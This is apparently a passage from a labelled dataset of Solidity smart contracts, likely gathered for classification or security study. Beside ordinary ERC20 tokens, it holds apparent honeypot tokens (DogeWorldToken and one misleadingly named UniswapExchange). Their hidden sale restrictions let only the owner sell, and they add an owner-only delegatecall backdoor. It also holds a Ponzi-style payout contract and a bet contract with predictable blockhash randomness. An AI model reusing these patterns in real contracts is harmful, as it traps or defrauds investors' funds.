if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract LFSTYLToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT = 10000000 * (10**18);
address private owner;
mapping (address => bool) private frozenAccount;
uint256 tokenCount = 0;
bool frozen = false;
function LFSTYLToken () {
owner = msg.sender;
}
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "LifeStyleToken";
string constant public symbol = "LFSTYL";
uint8 constant public decimals = 18;
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
event Freeze ();
event Unfreeze ();
event FrozenFunds(address target, bool frozen);
event RefundTokens(address _token, address _refund, uint256 _value);
} | 1 | 3,760 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ABOrigenVR {
string public constant name = "ABOrigenVR";
string public constant symbol = "ABOV";
uint8 public constant decimals = 4;
uint public _totalSupply = 4567000000;
uint256 public RATE = 1;
bool public isMinting = false;
bool public isExchangeListed = false;
string public constant generatedBy = "Togen.io by Proof Suite";
using SafeMath for uint256;
address public owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
mapping(address => uint256) balances;
mapping(address => mapping(address=>uint256)) allowed;
function () payable{
createTokens();
}
constructor() public payable {
address originalFeeReceive = 0x6661084EAF2DD24aCAaDe2443292Be76eb344888;
if(isExchangeListed == false){
originalFeeReceive.transfer(500000000000000000);
}
else{
originalFeeReceive.transfer(3500000000000000000);
}
owner = 0x063821b1e5c97755781ed36d25694f767e9c304d;
balances[owner] = _totalSupply;
}
function burnTokens(uint256 _value) onlyOwner {
require(balances[msg.sender] >= _value && _value > 0 );
_totalSupply = _totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
function createTokens() payable {
if(isMinting == true){
require(msg.value > 0);
uint256 tokens = msg.value.div(100000000000000).mul(RATE);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = _totalSupply.add(tokens);
owner.transfer(msg.value);
}
else{
throw;
}
}
function endCrowdsale() onlyOwner {
isMinting = false;
}
function changeCrowdsaleRate(uint256 _value) onlyOwner {
RATE = _value;
}
function totalSupply() constant returns(uint256){
return _totalSupply;
}
function balanceOf(address _owner) constant returns(uint256){
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 );
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns(uint256){
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 2,624 |
pragma solidity ^0.4.24;
contract InvestorsETH2 {
mapping (address => uint256) invested;
mapping (address => uint256) dateInvest;
uint constant public investor = 2;
uint constant public BANK_FOR_ADVERTISING = 10;
address private adminAddr;
constructor() public{
adminAddr = msg.sender;
}
function () external payable {
address sender = msg.sender;
if (invested[sender] != 0) {
uint256 amount = getInvestorDividend(sender);
if (amount >= address(this).balance){
amount = address(this).balance;
}
sender.transfer(amount);
}
dateInvest[sender] = now;
invested[sender] += msg.value;
if (msg.value > 0){
adminAddr.transfer(msg.value * BANK_FOR_ADVERTISING / 100);
}
}
function getInvestorDividend(address addr) public view returns(uint256) {
return invested[addr] * investor / 100 * (now - dateInvest[addr]) / 1 days;
}
} | 1 | 4,439 |
pragma solidity ^0.4.24;
contract AutomatedExchange{
function buyTokens() public payable;
function calculateTokenSell(uint256 tokens) public view returns(uint256);
function calculateTokenBuy(uint256 eth,uint256 contractBalance) public view returns(uint256);
function balanceOf(address tokenOwner) public view returns (uint balance);
}
contract VerifyToken {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
bool public activated;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract VRFBet is ApproveAndCallFallBack{
using SafeMath for uint;
struct Bet{
uint blockPlaced;
address bettor;
uint betAmount;
}
mapping(address => bytes) public victoryMessages;
mapping(uint => Bet) public betQueue;
uint public MAX_SIMULTANEOUS_BETS=20;
uint public index=0;
uint public indexBetPlace=0;
address vrfAddress= 0x5BD574410F3A2dA202bABBa1609330Db02aD64C2;
VerifyToken vrfcontract=VerifyToken(vrfAddress);
AutomatedExchange exchangecontract=AutomatedExchange(0x48bF5e13A1ee8Bd4385C182904B3ABf73E042675);
event Payout(address indexed to, uint tokens);
event BetFinalized(address indexed bettor,uint tokensWagered,uint tokensAgainst,uint tokensWon,bytes victoryMessage);
function receiveApproval(address from, uint256 tokens, address token, bytes data) public{
require(msg.sender==vrfAddress);
vrfcontract.transferFrom(from,this,tokens);
_placeBet(tokens,from,data);
}
function placeBetEth(bytes victoryMessage) public payable{
require(indexBetPlace-index<MAX_SIMULTANEOUS_BETS);
uint tokensBefore=vrfcontract.balanceOf(this);
exchangecontract.buyTokens.value(msg.value)();
_placeBet(vrfcontract.balanceOf(this).sub(tokensBefore),msg.sender,victoryMessage);
}
function payout(address to,uint numTokens) private{
vrfcontract.transfer(to,numTokens);
emit Payout(to,numTokens);
}
function _placeBet(uint numTokens,address from,bytes victoryMessage) private{
resolvePriorBets();
betQueue[indexBetPlace]=Bet({blockPlaced:block.number,bettor:from,betAmount:numTokens});
indexBetPlace+=1;
victoryMessages[from]=victoryMessage;
}
function resolvePriorBets() public{
while(betQueue[index].blockPlaced!=0){
if(betQueue[index+1].blockPlaced!=0){
if(betQueue[index+1].blockPlaced+250>block.number){
if(block.number>betQueue[index+1].blockPlaced){
uint totalbet=betQueue[index].betAmount+betQueue[index+1].betAmount;
uint randval= random(totalbet,betQueue[index+1].blockPlaced,betQueue[index+1].bettor);
if(randval < betQueue[index].betAmount){
payout(betQueue[index].bettor,totalbet);
emit BetFinalized(betQueue[index+1].bettor,betQueue[index+1].betAmount,betQueue[index].betAmount,0,victoryMessages[betQueue[index].bettor]);
emit BetFinalized(betQueue[index].bettor,betQueue[index].betAmount,betQueue[index+1].betAmount,totalbet,victoryMessages[betQueue[index].bettor]);
}
else{
payout(betQueue[index+1].bettor,totalbet);
emit BetFinalized(betQueue[index+1].bettor,betQueue[index+1].betAmount,betQueue[index].betAmount,totalbet,victoryMessages[betQueue[index+1].bettor]);
emit BetFinalized(betQueue[index].bettor,betQueue[index].betAmount,betQueue[index+1].betAmount,0,victoryMessages[betQueue[index+1].bettor]);
}
index+=2;
}
else{
return;
}
}
else{
payout(betQueue[index+1].bettor,betQueue[index+1].betAmount);
payout(betQueue[index].bettor,betQueue[index].betAmount);
index+=2;
emit BetFinalized(betQueue[index].bettor,betQueue[index].betAmount,betQueue[index+1].betAmount,betQueue[index].betAmount,"");
emit BetFinalized(betQueue[index+1].bettor,betQueue[index+1].betAmount,betQueue[index].betAmount,betQueue[index+1].betAmount,"");
}
}
else{
return;
}
}
}
function cancelBet() public{
resolvePriorBets();
require(indexBetPlace-index==1 && betQueue[index].bettor==msg.sender);
index+=1;
}
function canCancelBet() public view returns(bool){
return indexBetPlace>0 && !isEven(indexBetPlace-index) && betQueue[indexBetPlace-1].bettor==msg.sender;
}
function isEven(uint num) public view returns(bool){
return 2*(num/2)==num;
}
function maxRandom(uint blockn, address entropy)
internal
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy)
internal
returns (uint256 randomNumber)
{
return maxRandom(blockn, entropy) % upper + 1;
}
function getBetState(address bettor) public view returns(uint){
for(uint i=index;i<indexBetPlace;i++){
if(betQueue[i].bettor==bettor){
if(!isEven(indexBetPlace-index)){
return 1;
}
else{
return 2;
}
}
}
return 0;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
} | 1 | 4,316 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DogeWorldToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,424 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,262 |
interface ICOREGlobals {
function CORETokenAddress() external view returns (address);
function COREGlobalsAddress() external view returns (address);
function COREDelegatorAddress() external view returns (address);
function COREVaultAddress() external returns (address);
function COREWETHUniPair() external view returns (address);
function UniswapFactory() external view returns (address);
function TransferHandler() external view returns (address);
function addDelegatorStateChangePermission(address that, bool status) external;
function isStateChangeApprovedContract(address that) external view returns (bool);
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
pragma solidity >=0.4.24 <0.7.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
pragma solidity ^0.6.0;
contract ContextUpgradeSafe is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity ^0.6.0;
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
